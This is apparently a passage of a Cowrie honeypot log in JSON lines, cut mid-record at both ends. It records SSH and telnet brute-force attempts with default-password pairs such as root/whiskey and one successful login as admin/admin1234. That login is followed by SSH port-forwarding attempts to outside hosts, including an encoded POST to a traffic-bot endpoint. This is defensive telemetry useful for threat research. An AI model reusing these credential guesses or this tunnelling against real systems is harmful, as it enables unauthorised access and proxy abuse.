x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\x1cgg\\xaf\\x07\\x05V\\xd6\\xa8\\x9a%(\\x9ez 'A\\xa3\\xa8\\x1a\\xcf\\xe2\\xd7\\x8c\\xab\\x80\\xf77J\\xcc. U\\x0ca\\xac\\xf3\\xa14\\x1b\\x10\\x16\\xd8\\xd1\\xc9R\\x04~\\x15\\xa1\\xae\\x1e\\xe8%\\x8a\\xed\\x0b\\x97f\\xd2\\x05\\x0c\\xc7\\xd4\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 _\\xf8\\xd4\\xd0\\x87j\\x15R\\xd5\\xfd\\xc2\\xcaq@mn\\x93\\xe4\\xf2i]w\\x95\\x8b\\x8e\\xf0\\x10\\xbb\\x89\\xb0\\xc9V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:47.564021Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:48.006887Z","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:48.242280Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89\\xa3\\xb9\\xfa\\xee\\x9c\\x00GCJ\\xb5\\r\\x12\\x8c\\xact-\\x85\\x9aaF\\x8c\\x00\\xcav\\xbd#)\\x98o\\x1e\\x84 c\\xa7\\xb6D\\x86\\xc7%J\\xe0\\xd4\\xb6\\xf1\\x80\\xaa\\x04\\xba\\x92\\x8d\\xf1\\xa5WN\\xa5\\x19\\xfc\\r\\x08\\x91U\\xddU\\xf4\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\x88$\\\\\\xaf\\xa0\\xccQ\\xa2O(^P\\xdbR\\xd6\\x9a\\xe88s\\x0e\\xab\\x9f\\xac~XPDM\\xdc\\xaa,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89\\xa3\\xb9\\xfa\\xee\\x9c\\x00GCJ\\xb5\\r\\x12\\x8c\\xact-\\x85\\x9aaF\\x8c\\x00\\xcav\\xbd#)\\x98o\\x1e\\x84 c\\xa7\\xb6D\\x86\\xc7%J\\xe0\\xd4\\xb6\\xf1\\x80\\xaa\\x04\\xba\\x92\\x8d\\xf1\\xa5WN\\xa5\\x19\\xfc\\r\\x08\\x91U\\xddU\\xf4\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1d\\x88$\\\\\\xaf\\xa0\\xccQ\\xa2O(^P\\xdbR\\xd6\\x9a\\xe88s\\x0e\\xab\\x9f\\xac~XPDM\\xdc\\xaa,\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:48.245155Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whiskey","message":"login attempt [root/whiskey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:48.371197Z","src_ip":"103.27.238.114","session":"365c4f3c86e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:48.683281Z","src_ip":"123.27.168.40","session":"73678c3324e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:49.655476Z","src_ip":"103.27.238.114","session":"365c4f3c86e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"4321","message":"login attempt [elastic/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:52.658674Z","src_ip":"91.92.40.36","session":"e4c6ad0b79bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43694,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1595c4f576d","protocol":"ssh","message":"New connection: 91.92.40.36:43694 (159.203.135.109:22) [session: b1595c4f576d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:54.026789Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42734,"dst_ip":"159.203.135.109","dst_port":23,"session":"77f5e0db9631","protocol":"telnet","message":"New connection: 128.199.8.54:42734 (159.203.135.109:23) [session: 77f5e0db9631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:54.543527Z"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:54.665847Z","src_ip":"91.92.40.36","session":"e4c6ad0b79bc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:54.916111Z","src_ip":"91.92.40.36","session":"b1595c4f576d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:54.920862Z","src_ip":"91.92.40.36","session":"b1595c4f576d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aliyun","password":"123456","message":"login attempt [aliyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:58.980871Z","src_ip":"91.92.40.36","session":"b1595c4f576d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:00.403531Z","src_ip":"91.92.40.36","session":"b1595c4f576d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50292,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4ae8b55bc78","protocol":"ssh","message":"New connection: 91.92.40.36:50292 (159.203.135.109:22) [session: a4ae8b55bc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:03.336816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:03.425804Z","src_ip":"91.92.40.36","session":"a4ae8b55bc78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:03.429581Z","src_ip":"91.92.40.36","session":"a4ae8b55bc78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"4321","message":"login attempt [git/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:04.219226Z","src_ip":"91.92.40.36","session":"a4ae8b55bc78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:05.506423Z","src_ip":"91.92.40.36","session":"a4ae8b55bc78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54909,"dst_ip":"10.17.0.5","dst_port":22,"session":"76a8406656b0","protocol":"ssh","message":"New connection: 123.27.168.40:54909 (10.17.0.5:22) [session: 76a8406656b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:07.863359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:07.870457Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:08.206857Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:09.405496Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:09.848632Z","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:09.986273Z","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:10.097692Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_6_2; rv:77.0) Gecko/20100101 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QVE4SzZCKD5OWFdUPHtPag%3D%3Du00lGpEL9S7iQuoLGTZxMjp0ErsmM%2BVbvsLv%2BEapM2cNDphHrtneFEaGph8XPsLjJpgH82Mo9HnLCUb0VNh438LZpqibuNUDkJgEmehE3vvpSnwKDuc7%2BwIU6zLzruxHfOEf3An2a4NSgyBCStz2S96foevZowLicO2MNisncM1VLmi9KP9d7CqKnnzl%2FowBOCMlr6YkKGkRwFsgqbi9lY5CW0%2FYRzFoPmlDVroqzxyCAeOZcY%2Fo5rTlFfXKn0011jlUku1y8t5M2qKZMEPnJCNfCMpgt9uUxCdUTqY9Jw6lpuQUZn6pFwdUwDRTmGbD%2BGIQSkYGOslzQ7o2iTDiSugpNWrktzBYMFCkyFG5Brtj1d3qTrf8CJbNoKA93D02mViIkC5Lgfj8Bj9BJZXujQ5onk3uWPiN7DAU2JCtFRxlkaO7RDAMJVdmLGMOi2QroHeLoBLiiW%2FEHZeZEzWR5avpvqLOXGHYcYpK87HkkCnpUlkx9IAEzyxno6l5NcZeI0agn5VOtn4X3KH%2Fu6zvfdTVoVLkiwK7oY3QMyBXXQlj5P36WjXD9aG4IwHlfrQ6sLrBto0yR6iCJa6KlKyxa0PYBorRQDPWCM%2BU3zQJF0WP7C%2FrWFqNYg79Rw5M%2FV674hEvn6wSyJOhUUwt5bIdFLH3egDtRuthLLdKBInQ9mKzGVlqaIsSRZ%2FsiCDz%2F7ZMuOJJA005nb3Kec%2BFgQwWoCLLELyQ7mj2zv6G8ClG1V37MTS1tPxZRZ6dk4F4B293KPbr9QHx3RL9gsvjTl4IreCfJcRYnyXuL9UfqszihVXoApc1oH3%2Fsoec3z2UHleJ0795jS8cnQripPdAE6w%2BOPhVAmDm%2FHBw7N2gDcT5hU5OMx3N1ApslBtqiJ3%2BlyBHI2g8PEsvLAChfg3wZHduFJKV4X%2FSPRPw5bsl7IYZVfU7i728B5nxf5LGWW2Xe